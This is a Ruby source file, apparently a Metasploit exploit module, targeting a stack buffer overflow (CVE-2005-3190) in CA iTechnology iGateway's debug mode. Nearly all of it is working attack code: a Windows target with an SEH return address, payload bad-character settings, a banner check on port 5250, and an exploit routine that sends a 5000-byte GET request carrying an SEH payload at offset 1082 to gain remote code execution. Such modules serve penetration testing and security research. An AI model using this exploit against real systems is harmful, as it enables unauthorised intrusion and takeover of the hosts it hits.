85 lines
2.3 KiB
Ruby
85 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the Computer Associates
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iTechnology iGateway component. When <Debug>True</Debug> is enabled
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in igateway.conf (non-default), it is possible to overwrite the stack
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and execute code remotely. This module works best with Ordinal payloads.
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},
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'Author' => 'patrick',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-3190' ],
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[ 'OSVDB', '19920' ],
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[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
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[ 'EDB', '1243' ],
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[ 'BID', '15025' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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'Compat' =>
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{
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'ConnectionType' => '+ws2ord',
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},
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
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],
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'Privileged' => true,
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'DisclosureDate' => 'Oct 06 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(5250),
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], self.class)
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end
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def check
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connect
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sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
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banner = sock.get(-1,3)
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if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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seh = generate_seh_payload(target.ret)
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buffer = Rex::Text.rand_text_alphanumeric(5000)
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buffer[1082, seh.length] = seh
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sploit = "GET /" + buffer + " HTTP/1.0"
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sock.put(sploit + "\r\n\r\n\r\n")
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disconnect
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handler
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end
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end
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